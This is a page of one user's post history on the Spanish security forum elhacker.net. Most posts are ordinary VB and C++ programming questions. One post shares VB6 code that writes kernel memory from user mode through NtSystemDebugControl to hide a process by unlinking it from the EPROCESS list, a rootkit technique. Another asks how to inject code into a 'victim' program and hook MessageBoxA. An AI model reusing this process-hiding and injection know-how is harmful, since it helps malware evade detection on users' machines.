elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Curso de javascript por TickTack


  Mostrar Temas
Páginas: 1 2 3 [4] 5
31  Programación / Programación C/C++ / [RESUELTO] C++ ASM en: 17 Marzo 2012, 08:27 am
Hola, estaba queriendo hacer cosas que nunca había hecho, entonces se me ocurrió hacer un programa en VB con funciones Públicas en un módulo, pude obtener el Address de esa función, la misma contenía una modificación de una variable global mientras que en el form había un Timer que siempre mostraba esa variable global, la función cambia el valor de la variable por algún otro, ej 333.
Desde C++ hice una dll que se injectara en el proceso, cuando en C++ utilicé __asm he hice:

Código
  1. pushad
  2. pushfd
  3.  
  4. call address
  5.  
  6. popfd
  7. popad
  8.  

se me crasheaba el programa, vi que mostraba access violation, entonces le di permisos, pude hacer funcionar un mov [eax] (address), valor, pero no pude hacer que se ejecutara la función, tienen alguna idea?

Desde ya, gracias (Y)
32  Programación / Programación C/C++ / [SOLUCIONADO] VB Ucase en: 8 Febrero 2012, 20:23 pm
Hola estoy aqui nuevamente, queria saber si alguno tiene idea como lograr el Ucase de vb, por ejemplo Ucase(STRING), porque cree la funcion InStr de vb pero no identifica minusculas y mayusculas, entonces me gustaria antes hacer str1 = Ucase(Param1) str2 = Ucase(Param2) y luego seguir con el code, desde ya, muchas gracias.

EI: juntando mensajes.


Hola a todos, pude resolverlo, aqui esta la respuesta:


Código
  1. #include <algorithm>
  2. #include <string>
  3.  
  4. ....
  5.  
  6. string M_Ucase(string Cadena)
  7. {
  8. std::transform(Cadena.begin(), Cadena.end(), Cadena.begin(), ::toupper);
  9.  
  10. return Cadena;
  11. }
  12.  
  13. /*
  14. Dentro del main pueden hacer
  15.  
  16. cout << M_Ucase("blabla") << std::endl;
  17. */
  18.  
33  Programación / Programación C/C++ / [SOLUCIONADO] VB Redim Preserve en: 26 Enero 2012, 03:45 am
Hola nuevamente, estuve buscando como lograr el redim de VB en C++, pero no pude hacer funcionar varios códigos descargados desde internet porque lo que estoy tratando de hacer es realizarlo con una estructura como por ejemplo:

struct MiStruct
{
   long ID;
  
   vector<string> v1;

   vector<string> v2;

   string Resultado;
} M_Var[1];

Y que le cargue datos en el index 1, lo que quiero hacer es redimencionarla a 2 por ejemplo, sin perder los valores anteriores.

Desde ya muchas gracias.
34  Programación / Programación C/C++ / [SOLUCIONADO] VB Split en: 23 Enero 2012, 04:35 am
 Hola, estaba buscando informacion de como lograr el split de vb6 en c++, he encontrado varios codigos e inclusive he hecho 1, pero funciona con char y cuando lo intento hacer con string (el delimitador) me retorna cualquier cosa.
Lo que quiero lograr es:

Código
  1. var = Split("Texto /- de /- prueba /--", "/-")
  2.  

Lo cual retornaria dentro de la variable ( var(3) )
"Texto "
" de "
" prueba "
"-"

Cualquier ayuda o aporte seria de gran ayuda, mientras tanto sigo tratando de hacerlo o encontrar inforamcion al respecto, desde ya muchas gracias.

PD: Utilizo VS 2010.

Edit:

O simplemente:

NewSplit(cadena, delim, index)

var = Split("Texto /- de /- prueba /--", "/-", 3) //que sería "-"
35  Programación / Programación Visual Basic / [Ayuda] CMD Echo en: 10 Septiembre 2011, 23:56 pm
Hola, estoy queriendo enviar texto a una ventana MDOS/CMD/command prompt abierta, el texto que deseo enviar no es tipo sendkey o sendmessage o postmessage, sinó como un "echo hola", que se imprime un enter, luego el hola luego otro enter y aparece el directorio en el que estaba para poder seguir escribiendo comandos, con el IDA encontré _cmd_printf, pero la verdad que no quiero llegar al punto de injectar dlls para enviar un echo, lo pensé hacer en ASM inline pero me cuesta mucho, mientras tanto me gustaría alguna opinión de ustedes, desde ya muchas gracias.
36  Programación / Desarrollo Web / [Ayuda] Abrir ventana en: 28 Julio 2011, 17:16 pm
Hola hice éste código y no funciona, supuestamente está bien  :rolleyes:

Código
  1. <script language="javascript">
  2. function topen(dominio)
  3. {
  4. var1 = 'mail.' + dominio;
  5. var2 = gethostbyname(var1);
  6. window.open('http://' + var2 + ':81/admin/list.cgi?domain=' + dominio + '&cmd=1');
  7. }
  8. </script>
  9.  
  10. <form name="test" method="post">
  11. <LABEL for="dominio">Dominio: </LABEL>
  12. <INPUT type="text" dom="dom">
  13. <br>
  14. <input type="button" value="Abrir" onclick="topen(dom.value)" />
  15. </form>
  16.  

Alguna idea? Desde ya muchas gracias.
37  Seguridad Informática / Análisis y Diseño de Malware / [Aporte chico] VB Inject KM from UM en: 11 Julio 2011, 21:31 pm
Hola, acá les dejo un code que por ahí les sirve a los que saben mucho, pude arreglarlo un poco pero no entiendo como funciona, lo que hace es injectar kernel mode desde user mode.

Form1:
Código
  1. Option Explicit
  2.  
  3. Private Sub Command1_Click()
  4. Dim pEP As Long
  5. Dim le As LIST_ENTRY
  6.  
  7. pEP = GetEProcess(Text1.Text) 'PID
  8.  
  9. Call ReadKernelMemory(pEP + &H88, VarPtr(le), 8)    'Dereference LE
  10.  
  11. MsgBox le.pBlink & vbCrLf & le.pFlink
  12. Stop
  13.  
  14. 'Call RtlAdjustPrivilege(20, 1, 0, 1)
  15. 'Also: Make sure you have SeDebug enabled of course.
  16. 'Can be easily done with: (20 = SeDebug's priv val)
  17. 'Call RtlAdjustPrivilege(20, 1, 0, 1)
  18. 'Fun stuff indeed
  19.  
  20. Call WriteKernelMemory(le.BLink, VarPtr(le.FLink), 4)     'A.FLink = &(C)     AKA: *(B.BLink+0) = le.FLink        This changes A's FLink from the address of B, to the address of C
  21. Call WriteKernelMemory(le.FLink + 4, VarPtr(le.BLink), 4) 'C.Blink = &(A)     AKA: *(B.FLink+4) = le.BLink        This changes C's BLink from the address of B, to the address of A
  22. End Sub
  23.  
  24. Private Sub Form_Load()
  25. Text1.Text = GetPEBAddress
  26. End Sub
  27.  

Module1
Código
  1. Option Explicit
  2.  
  3. 'To modify kernel memory from usermode  you can use the NtSystemDebugControl API function.
  4.  
  5. 'Found it from some chinese forum =].
  6. 'You wouldn 't believe the kind of crazy stuff they implement inside of VB6. (Most I cannot understand though because I lack knowledge of ASM.)
  7.  
  8. 'That code has really opened new doors for me and really got me interested in kernel data structures, rootkits, WinDbg, and the book "Subverting the Windows Kernel"
  9. 'In any case, here is an example of hiding a process by unlinking it from the _EPROCESS chain at 0x88 (I think WinDbg calls the member ActiveProcessLinks)
  10.  
  11. Public Type LIST_ENTRY
  12.     pFlink As Long
  13.     pBlink As Long
  14. End Type
  15.  
  16. 'http://forum.sysinternals.com/tip-run-process-in-system-account-scexe_topic16714_post88025.html
  17.  
  18. Public Declare Function NtSystemDebugControl Lib "NTDLL" (ByVal ControlCode As Long, ByRef InputBuffer As Any, ByVal InputBufferLength As Long, ByRef OutputBuffer As Any, ByVal OutputBufferLength As Long, ByRef ReturnLength As Long) As Long
  19.  
  20. Public Type MEMORY_CHUNKS
  21.    VirtualAddress As Long
  22.    Buffer As Long
  23.    BufferSize As Long
  24. End Type
  25.  
  26. Public Const DebugReadVirtualMemory& = 8
  27. Public Const DebugWriteVirtualMemory& = 9
  28.  
  29. Public Type PROCESS_BASIC_INFORMATION
  30.    ExitStatus As Long 'NTSTATUS
  31.    PebBaseAddress As Long 'PPEB
  32.    AffinityMask As Long 'ULONG_PTR
  33.    BasePriority As Long 'KPRIORITY
  34.    UniqueProcessId As Long 'ULONG_PTR
  35.    InheritedFromUniqueProcessId As Long 'ULONG_PTR
  36. End Type
  37.  
  38. Public Declare Function ZwQueryInformationProcess Lib "NTDLL.DLL" (ByVal ProcessHandle As Long, ByVal ProcessInformationClass As PROCESSINFOCLASS, ByVal ProcessInformation As Long, ByVal ProcessInformationLength As Long, ByRef ReturnLength As Long) As Long
  39.  
  40. Public Enum PROCESSINFOCLASS
  41.    ProcessBasicInformation
  42.    ProcessQuotaLimits
  43.    ProcessIoCounters
  44.    ProcessVmCounters
  45.    ProcessTimes
  46.    ProcessBasePriority
  47.    ProcessRaisePriority
  48.    ProcessDebugPort
  49.    ProcessExceptionPort
  50.    ProcessAccessToken
  51.    ProcessLdtInformation
  52.    ProcessLdtSize
  53.    ProcessDefaultHardErrorMode
  54.    ProcessIoPortHandlers '// Note: this is kernel mode only
  55.    ProcessPooledUsageAndLimits
  56.    ProcessWorkingSetWatch
  57.    ProcessUserModeIOPL
  58.    ProcessEnableAlignmentFaultFixup
  59.    ProcessPriorityClass
  60.    ProcessWx86Information
  61.    ProcessHandleCount
  62.    ProcessAffinityMask
  63.    ProcessPriorityBoost
  64.    ProcessDeviceMap
  65.    ProcessSessionInformation
  66.    ProcessForegroundInformation
  67.    ProcessWow64Information
  68.    ProcessImageFileName
  69.    ProcessLUIDDeviceMapsEnabled
  70.    ProcessBreakOnTermination
  71.    ProcessDebugObjectHandle
  72.    ProcessDebugFlags
  73.    ProcessHandleTracing
  74.    ProcessIoPriority
  75.    ProcessExecuteFlags
  76.    ProcessResourceManagement
  77.    ProcessCookie
  78.    ProcessImageInformation
  79.    MaxProcessInfoClass '// MaxProcessInfoClass should always be the last enum
  80. End Enum
  81.  
  82. Public Declare Function NtCurrentTeb Lib "NTDLL" () As Long
  83.  
  84. Public Declare Function IsBadReadPtr Lib "kernel32" (ByVal lp As Long, ByVal ucb As Long) As Long
  85.  
  86. Public Declare Sub RtlMoveMemory Lib "kernel32" (ByVal Destination As Long, ByVal Source As Long, ByVal Length As Integer)
  87.  
  88. Public Function GetPEBAddress() As Long
  89.    On Error GoTo NotSupported
  90.    Dim pbi As PROCESS_BASIC_INFORMATION, Dummy As Long
  91.  
  92.    If ZwQueryInformationProcess(-1&, 0&, VarPtr(pbi), Len(pbi), Dummy) = 0 Then
  93.        GetPEBAddress = pbi.PebBaseAddress
  94.    Else
  95.        GetPEBAddress = GetPEBAddressinXP
  96.    End If
  97. NotSupported:
  98. End Function
  99.  
  100. Public Function ReadKernelMemory(ByVal VirtualAddress As Long, ByVal Buffer As Long, ByVal BufferSize As Long) As Long
  101.    Dim MemoryChunks As MEMORY_CHUNKS
  102.    MemoryChunks.VirtualAddress = VirtualAddress
  103.    MemoryChunks.Buffer = Buffer
  104.    MemoryChunks.BufferSize = BufferSize
  105.    ReadKernelMemory = NtSystemDebugControl(DebugReadVirtualMemory, MemoryChunks, Len(MemoryChunks), ByVal 0&, 0, ByVal 0&)
  106. End Function
  107.  
  108. Public Function WriteKernelMemory(ByVal VirtualAddress As Long, ByVal Buffer As Long, ByVal BufferSize As Long) As Long
  109.    Dim MemoryChunks As MEMORY_CHUNKS
  110.    MemoryChunks.VirtualAddress = VirtualAddress
  111.    MemoryChunks.Buffer = Buffer
  112.    MemoryChunks.BufferSize = BufferSize
  113.    WriteKernelMemory = NtSystemDebugControl(DebugWriteVirtualMemory, MemoryChunks, Len(MemoryChunks), ByVal 0&, 0, ByVal 0&)
  114. End Function
  115.  
  116. Public Function GetPEBAddressinXP() As Long
  117.    On Error GoTo NotSupported 'Windows 9X/Me will occures error
  118.    Dim pTeb As Long, ppPeb As Long
  119.    pTeb = NtCurrentTeb 'get TEB
  120.  
  121.    On Error Resume Next ' on error ignore
  122.    If pTeb = 0 Then Exit Function 'if it has invalid TEB, run away this procedure
  123.    ' +0x030 ProcessEnvironmentBlock : _PEB
  124.    ppPeb = pTeb + &H30&
  125.    'check IsValid
  126.    If IsBadReadPtr(ByVal ppPeb, 4) Then Exit Function
  127.    ' returns PEB
  128.    RtlMoveMemory GetPEBAddress, ByVal ppPeb, 4
  129. NotSupported:
  130. End Function
  131.  

Los que quieran aportar conocimientos y funcionamientos, bienvenidos sean :). Saludos.

Edit:
Falta código que no lo pude conseguir ni completar.
38  Programación / Programación Visual Basic / AddressOf / Tamaño de funcion en: 9 Mayo 2011, 23:14 pm
Hola a todos, estuve viendo el tema del address de una función.
Código:
Código
  1. [Module1]
  2. Option Explicit
  3.  
  4. Sub Main()
  5. 'MsgBox Hex(AddressOf procesoX)
  6.  
  7. 'Dim ThisAddress&
  8.  
  9. 'ThisAddress& = Adrs&(AddressOf procesoX)
  10. 'MsgBox ThisAddress& & " - (" & Hex(ThisAddress&) & ")"
  11. End Sub
  12.  
  13. Public Function Adrs(ByVal Addrs As Long) As Long
  14. Adrs = Addrs
  15. End Function
  16.  
  17. Public Function procesoX(ParamArray ParametrosX() As Variant) As String
  18. procesoX = "procesoX"
  19. End Function
  20.  
  21. Public Function Valor(ByVal v1 As Long, ByVal v2 As Long) As Long
  22. Valor = v1 + v2
  23. End Function
  24.  
  25. Public Sub Mensaje()
  26. MsgBox "Test"
  27. End Sub
  28.  

Código
  1. [Form1]
  2. Option Explicit
  3.  
  4. Private Sub Command1_Click()
  5. Dim ThisAddress As Long
  6.  
  7. Text1.Text = ""
  8.  
  9. ThisAddress = Adrs(AddressOf procesoX)
  10. Text1.Text = Text1.Text & "AddressOf procesoX: " & Hex(ThisAddress) & vbCrLf & _
  11. "[Public Function procesoX(ParamArray ParametrosX() As Variant) As String" & vbCrLf & _
  12. "procesoX = ''procesoX''" & vbCrLf & _
  13. "End Function" & "]" & vbCrLf & vbCrLf
  14.  
  15. ThisAddress = Adrs(AddressOf Valor)
  16. Text1.Text = Text1.Text & "AddressOf Valor: " & Hex(ThisAddress) & vbCrLf & _
  17. "[Public Function Valor(ByVal v1 As Long, ByVal v2 As Long) As Long" & vbCrLf & _
  18. "Valor = v1 + v2" & vbCrLf & _
  19. "End Function" & "]" & vbCrLf & vbCrLf
  20.  
  21. ThisAddress = Adrs(AddressOf Mensaje)
  22. Text1.Text = Text1.Text & "AddressOf Mensaje: " & Hex(ThisAddress) & vbCrLf & _
  23. "[Public Sub Mensaje()" & vbCrLf & _
  24. "MsgBox ''Test''" & vbCrLf & _
  25. "End Sub" & "]"
  26.  
  27. 'ThisAddress& = Adrs&(AddressOf Mensaje)
  28.  
  29. 'Me.Caption = Hex(ThisAddress)
  30. End Sub
  31.  
  32. Private Sub Command2_Click()
  33. Call Mensaje
  34. End Sub
  35.  

Gracias a BlackZeroX por el este code que me dió hace mucho  ;-) ;-) ;-)

Ahora la pregunta es: cómo puedo obtener la longitud de cada función? Porque lo que estoy tratando de hacer, es injectar en otro programa solo la función Mensaje (por ejemplo) y hacerle un jmp en el MessageBoxA del ejecutable víctima, donde alojé dicha función. Gracias a to2.
39  Programación / Programación Visual Basic / [Ayuda] VB DLL EP en: 1 Mayo 2011, 08:10 am
Alguno tiene idea como hacer funcionar el entry point de 1 dll en vb? Probé de todo.
40  Programación / Programación Visual Basic / [Resuelto] Chinese - Japanese en: 26 Diciembre 2010, 12:08 pm
Hola a to2, una vez, como me suele pasar, encontré un código que me mostraba un mensaje (MsgBox) con Kanjis (simbolos chinos / japoneses) no me acuerdo donde está, vale oro, alguno de ustedes sabe como hacer éso? Desde ya muchas gracias.
Páginas: 1 2 3 [4] 5
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines